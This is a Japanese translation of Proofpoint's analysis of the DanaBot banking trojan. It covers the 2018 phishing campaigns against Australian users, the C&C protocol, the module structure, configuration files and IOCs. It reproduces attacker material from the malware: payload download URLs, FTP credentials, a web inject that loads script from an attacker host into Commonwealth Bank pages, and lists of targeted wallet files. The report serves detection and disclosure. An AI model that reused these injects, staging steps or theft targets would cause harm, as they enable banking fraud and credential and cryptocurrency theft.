概要
2018年の最初の数ヶ月の脅威トレンドは、大規模かつ破壊的なランサムウェアキャンペーンから、バンキング型トロイの木馬、情報窃取型マルウェア、ダウンローダー型マルウェアなどにシフトしました。現時点でバンキング型トロイの木馬、電子メールを使った悪意のあるペイロードのほぼ60%を占めています。そして今、新たなバンキング型トロイの木馬が出現してこのセグメントの多様性が増し、特に悪質な電子メールキャンペーンが広がりを見せています。
Proofpointの研究者は、悪意のあるURLを含むメールを使ってオーストラリアのユーザーを狙う新しいバンキング型トロイの木馬「DanaBot」を発見しました。Delphiで書かれたこのマルウェアは、現在も引き続き積極的な開発が行われています。現時点でこのマルウェアを使用しているのは単一の脅威アクターだけですが、アクターは他の開発者やオペレータからバンキング型トロイの木馬を購入することがありますから、それを考えると今後このマルウェアの配布と使用がより広がる可能性もあります。また、実際に観測されたマルウェア以外のマルウェアリポジトリにもサンプルが追加されており、これは他のアクターによる配布の可能性があります。
配信の分析
2018年5月6-7日
Proofpointが最初にDanaBotを観測したのは2018年5月6日で、オーストラリアを狙ったメールキャンペーンのペイロードとしてでした。件名には「Your E-Toll account statement」が使用されており、含まれていたURLは、別のサイト(hxxp://users[.]tpg[.]com[.]au/angelcorp2001/Account+Statement_Mon752018.doc)のMicrosoft Wordファイルにリダイレクトされていました。
図1:2018年5月6日のDanaBotキャンペーンのサンプルメール
Wordファイルには、hxxp://bbc[.]lumpens[.]org/tXBDQjBLvs.phpからDanaBotをダウンロードするPowerShellコマンドを使用したマクロが含まれています。このペイロードは、サーバー側でクライアントのIPジオロケーションをチェックした上で、オーストラリアの潜在的な犠牲者にのみ配信されました。このWordファイルには、ソーシャルエンジニアリングで使われる盗難ブランドも含まれており、あるセキュリティベンダー(図2でぼかしているブランド)によって保護されていると表示していました。
2018年5月28-30日
DanaBotは、5月28日から30日にかけて再びオーストラリアを狙ったメールキャンペーンのペイロードとして観測されました。電子メールは以下のような件名を使用していました:
- Cert "123456789"
- Doc:-"123456789"
- Document12345-678
- GT123456789
- Invoice and Tracking Code 12345678
- Invoice from John Doe
今回は、電子メールにftp://kuku1770:GxRHRgbY7@ftp[.]netregistry[.]net/0987346-23764.zipなど、FTPサーバー上でホストされている圧縮されたJavaScriptにリンクするURLが含まれていました。これが実行された場合、JavaScriptはhxxp://members[.]giftera[.]org/whuBcaJpqg.phpからDanaBotをダウンロードします。ここでも、サーバーはJavaScriptをダウンロードする前にジオロケーションを確認しました。
マルウェア機能の概要
DanaBotは、バンキングサイトへのWebインジェクションとStealer機能を含むトロイの木馬です。メインDLLを含む暗号化されたファイルをダウンロードするダウンローダーコンポーネントで構成されており、このDLL、Raw TCP接続を使用してポート443に接続し、次のような追加モジュールをダウンロードします:
- VNCDLL.dll - "VNC"
- StealerDLL.dll - "Stealer"
- ProxyDLL.dll - "Sniffer"
マルウェアは、次のような設定ファイルもダウンロードします:
- Snifferモジュールの対象サイトのリスト
- バンキングウェブインジェクション
- 監視する暗号化プロセスとファイルのリスト
最後に、コマンド&コントロール(C&C)サーバーにファイルをアップロードします:
- 詳細なシステム情報
- ユーザーのデスクトップのスクリーンショット
- ユーザーのハードディスク上のファイルの一覧
すべてのアップロードとダウンロードは、Microsoft CryptAPI AES256アルゴリズムで暗号化されています。
マルウェア分析
このマルウェアは現在も開発が続いており、2つのバージョンがあるようです。Proofpointは5月6日と7日頃のキャンペーンで最初のものを観測しましたが、5月29日頃に2番目のものが登場しました。マルウェアリポジトリのピボット経由でもっと早い時期のサンプル(4月中旬頃)も見つけましたが、実際に観測されてはいません。
ダウンローダーコンポーネント
ダウンローダーコンポーネントはC&Cサーバーと通信し、URLパラメータでコード化された感染マシンに関するレポートとともに最初のチェックインビーコンを送信します。それは以下のようなリクエストを出します:
図3:古いバージョンのマルウェアによって生成されたネットワークリクエスト
図4:新しいバージョンのマルウェアによって生成されたURLパラメータの拡張セットを含むネットワークリクエスト
これらのネットワークリクエストにおいて「e=」パラメータは、Microsoft CryptAPIのCryptDeriveKeyおよびMD5ハッシュとAESアルゴリズムを使用するCryptDecryptを使用して次のステージのペイロードを復号化するために使用される鍵です。他のパラメータの説明は、以下の表に示されています。
Parameter |
Explanation |
Example Value |
m= |
- |
“T” (also seen “F” and “S”) |
a= |
Hardcoded campaign ID |
5,6,7,9,10 and 15 |
b= |
(older version) 32 or 64 bit DLL requested |
32, 64 |
b= |
(newer version) 32 or 64 bit Operating System |
32, 64 |
c= |
(older version) Client ID (Possibly short hash of system info)
|
[8 hex chars] |
d= |
(older version) Probable nonce |
[8 hex chars] |
d= |
(newer version) Client ID (MD5 hash of system info) |
[32 hex chars] |
e= |
Encryption key |
[32 hex chars] |
g= |
(newer version) Nonce |
[8 hex chars] |
i= |
(newer version) Integrity level |
12288 |
u= |
(newer version) 1 if user has admin privileges: 0 otherwise |
1, 0 |
v= |
(newer version) Windows version information |
610760110 |
x= |
(newer version) Request count |
0 |
t= |
(newer version) 32 or 64 bit DLL requested |
32, 64 |
表1:感染したクライアントからC&Cに送信されたキーバリューペアの説明
ダウンローダーの最初のチェックインに応えて、C&Cサーバーは次の段階のDLLを送信します。DLLは、RSAアルゴリズムと次の公開鍵を使用して暗号的に検証されます。
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDOmbQ1gGQtE8PUhjKIETLaSSEc
JGp9O0gyckoyrIfb4l4BZqLKAkDGm59lUxSFWPCINQOMQvgvDYydMOyMvABtmi4c
0yb4te8dXE0xVxTQmnxGV9pAf3gfcEg3aqBne/7AQmS+0fFUpccX+huz4Sys415+
6lwVPX2A3RA60ToS6wIDAQAB
-----END PUBLIC KEY-----
ペイロードDLLは、"rundll32.exe"とパラメータ"#1"を使用して呼び出されます。その後、パラメータ#2、#3などで呼び出されます
メインDLLコンポーネント
メインDLLはraw TCPを使用してポート443と通信します。それはさらにVNC、Sniffer、StealerなどのDLLモジュールをダウンロードし、設定ファイルとともにMicrosoft CryptAPIを使用して同様の方法で暗号化します。上記とは異なる公開鍵でRSAアルゴリズムを使用してダウンロードを検証します。
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCpQbDeOOrFbGOuu989TSd1+sJJ
gi1WFiYV0RInlLkAAv1XZwUodBJRMyNWeKPHg40dn9oseicUScBH3lQb5fRvwm9Q
oppN5DIhiK9au8yzhm6/BGDUuVfK+vDlutanjYLAnz/Wp/W9bofUe5Ej3WZo2w1T
X/KpjiO/gB/+4vf75wIDAQAB
-----END PUBLIC KEY-----
Module Name |
Description |
VNCDLL.dll |
“VNC” |
ProxyDLL.dll |
“Sniffer” |
StealerDLL.dll |
“Stealer” |
表2:メインコンポーネントによってダウンロードされるモジュール
Object name / (newer version name) |
Description |
PFUrlU / PFilter |
Sniffer filter list |
BVideo / BitVideo |
Cryptocurrency processes |
BKey / BitKey |
Cryptocurrency processes |
CFiles / BitFiles |
Cryptocurrency files |
InjFirst / Pinject |
Web Injects |
表3:メインコンポーネントによってダウンロードされるコンフィグレーションファイル
またProofpointは、このBotがC&CにDeflateアルゴリズムで圧縮され、ランダムAESキーで暗号化されたファイルをアップロードすることを観測しました。鍵自体はRSA公開鍵の1つで暗号化されており、アップロードされたファイルに追加されているようです。しかし、復号化のためにはおそらくマルウェアオペレータしか利用できないRSA秘密鍵に一致する必要があるでしょう。
Uploaded file name |
Description |
[none] |
System Info |
desktopscreen.bmp |
Screenshot of victim desktop |
[32-character hex string].info |
LZMA-compressed Zip archive containing “Files-C.txt”, a listing of files |
表4:ボットのメインコンポーネントによってアップロードされるファイル
システム情報のアップロードには次のRSA公開鍵が使用されましたが、他のファイルのアップロードはモジュールのダウンロードと同じ鍵を使用していました。
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCilEDyzfbBKas+W2brWstcdKfY
WgAl79oHSmdACo7zVCSkqJPocK3u3naHuFD3rYTTkEQbj6IaTNi1vn6eceNedExE
u3ppOvxzRKqCOUOB+yQbz9Hv8xzsh0QnlJzcuLZHDhCDWoKwMbNU2/AXiVR5w7wF
us8H3Gkr8MQZxt/bEwIDAQAB
-----END PUBLIC KEY-----
詳しく説明すると、ダウンロードされる新しいDanaBotのモジュールは、ヘッダー、AES暗号化ファイル、RSA署名で構成されます。例として、新しいバージョンのBotでダウンロードされたVNCモジュールの注目すべき部分を強調表示してみましょう。
図5:注目すべき部分を強調表示したサンプルダウンロードモジュールのhexdump
Bytes |
Description |
0x0 ... 0x3 |
Object size (file data + file signature + header) |
0x0c ... 0x0f |
Object type |
0x10 ... |
Object name (unicode) |
0x218 ... |
Object file name (unicode) |
0xaa2 … 0xaa5 |
Object size 2 (file data + signature) |
0xac3 ... (0xac3 + [size 2] - 129) |
Encrypted file data |
(0xac3 + [size 2] - 128) ... (0xac3 + [size 2] - 1) |
File signature (decrypts to MD5 of encrypted file data) |
表5:ダウンロードされたモジュールのペイロードの注目すべき部分についての詳細
コンフィグレーションファイル
表6-9に、ボットがダウンロードした設定ファイルの値を示します。
*m.adnxs.com/ut/v3* *.youtube.com*event=streamingstats* *.youtube.com/api/stats/* *outlook.live.com/owa/service.svc?action=LogDatapoint&* *clientservices.googleapis.com* *clients4.google.com* *connect.facebook.net/log/* *.mozilla.org* *.mozilla.com* *syndication.twitter.com/* *cws.conviva.com* *api.segment.io* *as-sec.casalemedia.com* *yunify.chicoryapp.com* *oauth20_token.srf* *Exchange/ucwa/oauth/v1/* *beacons.gcp.gvt2.com* *.facebook.com* *.facebook.com/login.php?* *mc.yandex.ru/webvisor* *api.logmatic.io/v1/* *sot3.mavenhut.com* *erlang.simcase.ru/api/* *sentry.io/api* *dsn.algolia.net/1* *t.urs.microsoft.com* *.paypal.com/webapps/hermes/api/log* *.netflix.com* *s.update.fbsbx.com* *.youtube.com/youtubei/v1/* *p.cybertonica.com* *webmail.subwayadmin.com.au* *email.telstra.com/webmail/* *.googleapis.com* http://* *outlook.office365.com/owa/service.svc?* *outlook.office.com/owa/service.svc?* *outlook.live.com/owa/service.svc?* *mail.google.com/mail/u/0/* *.client-channel.google.com* *bam.nr-data.net* *browser.pipe.aria.microsoft.com* *client-s.gateway.messenger.live.com* *notifications.google.com* *.google.com/recaptcha/api2/* *.bing.com* *.youtube.com* *bidder.criteo.com* *.demdex.net/event?* *insights.hotjar.com/api* *nexus-long-poller-b.intercom.io* *.icloud.com/* *s.acexedge.com* *s.update.* *vid-io.springserve.com* *vuws.westernsydney.edu.au* |
表6:Snifferフィルタリスト(旧バージョンの "PFUrlU"設定ファイル)。新しいバージョンの設定ファイル("Pflilter")にはテストで "* mozilla *"ターゲットしか含まれていないため、これはホワイトリストになる可能性があります。
set_url *my.commbank.com.au/netbank* GP data_before data_end data_inject <script type=text/javascript language=JavaScript src=https:[//]dep.properfunds.org/print?vr=npm%3Fc3%28t%3F2[.]48758295816></script> data_end data_after </html data_end data_before </head> data_end data_inject <div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div> data_end data_after data_end set_url *my.commbiz.commbank.com.au* GP data_before data_end data_inject <script type=text/javascript language=JavaScript src=https:[//]dep.properfunds.org/print?vr=npm%3Fc3%28t%3F2[.]487582958161></script> data_end data_after </html data_end data_before </head> data_end data_inject <div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div> data_end data_after data_end |
表7:Webが挿入したコンフィグレーションファイル(古いバージョンの "InjFirst"、新しいバージョンの "PInject";URLに括弧を追加)
*-QT*.EXE* *ETHEREUM*.EXE* *DECENT.EXE* *ELECTRON*.EXE* *ELECTRUM*.EXE* *ZCASH*.EXE* *EXPANSE*.EXE* *SUMOCOIN*.EXE* *BITCONNECT*.EXE* *IOTA*.EXE* *KARBOWANEC.EXE* *ARKCLIENT.EXE* *ZCLASSIC*WALLET.EXE* *PASCALCOINWALLET.EXE* |
表8:暗号化プロセス(古いバージョンの「BVideo」および「Bkey」設定ファイル、新しいバージョンのBitVideoおよびBitKey;イタリック体のプロセスは古いバージョンでのみ表示されます)
*\WALLETKEYS.DAT* *\DEFAULT_WALLET* *\WALLET.DAT* |
表9:CryptoCurrencyファイル(古いバージョンの「CFiles」設定ファイル、新しいバージョンの「BitFiles」;イタリック体のファイルは古いバージョンでのみ表示されます)
Stealerモジュール
Stealerモジュールは、Windows Live MailやOutlookなどのメールクライアントを狙うことを観測しました。これはまた、Miranda、Trillian、Digsbyなどのインスタントメッセンジャー、そしてWS_FTP、FileZilla、SmartFTPなどのFTPクライアントも狙っており、ブラウザーの履歴もチェックします。
図6:ブラウザーからのStealerモジュールのターゲティング情報
図7:FTPクライアントをターゲットとするStealerモジュール(実際のリストはもっと長くなります)
アトリビューション
冒頭で述べたように、いまのところDanaBotを使っているのはProofpointによってTA547と命名された単一の脅威アクターだけです。しかし、アクターは他の開発者やオペレータからバンキング型トロイの木馬を購入することがありますから、状況は変化する可能性があります。
TA547は、少なくとも2017年11月以来、他の多くのキャンペーンを行っています。このアクターによる他のキャンペーンは、オーストラリア、ドイツ、英国、イタリアなどの国向けにローカライズされていました。使われたマルウェアには、ZLoader(GoLotter)、Gootkit、Ursnif、Corebot、Panda Banker、Atmos、Mazar Bot、Red Alert Androidマルウェアが含まれます。
パブリックマルウェアリポジトリにあるDanaBotのサンプルには、実際に観測されたものとは異なるキャンペーンID(「a=」パラメータ)が含まれていることがわかりました。
最後に、DanaBotにはテクニカルな実装面と技術の選択方法において、過去のマルウェア、特にRevetonとCryptXXX [1]と類似点があります。これらはDelphiで書かれており、raw TCPを使ってポート443と通信します。これらのマルウェアはC&Cトラフィックのスタイルにおいても類似点を持っています。
結論
約2年にわたる執拗で大規模なランサムウェアキャンペーンの後、脅威アクターはバンキング型トロイの木馬や情報窃取マルウェアなどのあまり騒がしくないマルウェアを好むようになったようです。DanaBotは、犠牲者からの即時の身代金を要求するのではなく、永続性を重視し、後々収益化できる可能性を持つ情報を盗もうとするマルウェアの最新の例です。これまでに見てきた少量のDanaBotキャンペーンのソーシャルエンジニアリングは、電子メールベースの脅威における「量を超えた品質」に新たに焦点を当てています。DanaBotのモジュール型の構造は、追加のコンポーネントをダウンロードすることを可能にしており、それがこのバンキングマルウェアの柔軟性と強固な盗難/リモート監視機能を強化します。今後もこの新しいマルウェアをさらに深く掘り下げ、変化する脅威環境の中で観測を続けて行きます。
リファレンス
[1] https://www.proofpoint.com/us/threat-insight/post/cryptxxx-new-ransomware-actors-behind-reveton-dropping-angler
Indicators of Compromise (IOCs)
IOC |
IOC Type |
Description |
hxxp://users[.]tpg[.]com[.]au/angelcorp2001/Account+Statement_Mon752018.doc |
URL |
URL hosting document leading to DanaBot on 2018-05-06 |
82c783d3c8055e68dcf674946625cfae864e74a973035a61925d33294684c6d4 |
SHA256 |
Account Statement_Mon752018.doc |
hxxp://bbc[.]lumpens[.]org/tXBDQjBLvs.php |
URL |
Account Statement_Mon752018.doc Document payload |
f60c6c45ff27d1733d8ab03393ab88e3a2d7c75c7d9fce3169417e8c9fd3df12 |
SHA256 |
DanaBot 2018-05-06 |
|
|
|
fxp://kuku1770:GxRHRgbY7@ftp[.]netregistry[.]net/secure/325-5633346%20-%20C-12%20%2811%29.zip |
URL |
URL hosting zipped JavaScript leading to DanaBot on 2018-05-29 |
a8a9a389e8da313f0ffcde75326784268cbe1447ce403c7d3a65465f32a1d858 |
SHA256 |
JavaScript on 2018-05-29 |
hxxp://members[.]giftera[.]org/whuBcaJpqg.php |
URL |
JavaScript payload URL on 2018-05-29 |
e59fdd99c210415e5097d9703bad950d38f448b3f98bb35f0bdc83ac2a41a60b |
SHA256 |
DanaBot 2018-05-29 |
|
|
|
fxp://lbdx020a:mbsx5347@marinersnorth[.]com[.]au/images/090909-001-8765%28239%29.zip |
URL |
URL hosting zipped JavaScript leading to DanaBot on 2018-05-30 |
78b0bd05b03a366b6fe05621d30ab529f0e82b02eef63b23fc7495e05038c55a |
SHA256 |
DanaBot 2018-05-30 |
|
|
|
6ece271a0088c88ed29f4b78eab00d0e7800da63757b79b6e6c3838f39aa7b69 |
SHA256 |
Additional DanaBot 2018-04-17 (early sample found using pivots) |
|
|
|
207.148.86[.]218 |
IP |
DanaBot C&C (May 2017) |
144.202.61[.]204 |
IP |
DanaBot C&C (May 2017 - raw TCP) |
104.238.174[.]105 |
IP |
DanaBot C&C (May 2017 - raw TCP) |
5.188.231[.]229 |
IP |
DanaBot C&C (April 17 early sample) |
ETおよびETPROのSuricata/Snort/ClamAVシグネチャ
2830756 || ETPRO TROJAN Win32.DanaBot Starting VNC Module
2803757 || ETPRO TROJAN Win32.DanaBot HTTP Checkin
2831097 || ETPRO TROJAN Win32.DanaBot HTTP Checkin M2
2831096 || ETPRO TROJAN Win32.DanaBot HTTP Checkin M3
2831099 || ETPRO TROJAN Win32.DanaBot HTTP Checkin M4
2831100 || ETPRO TROJAN Win32.DanaBot HTTP Checkin M5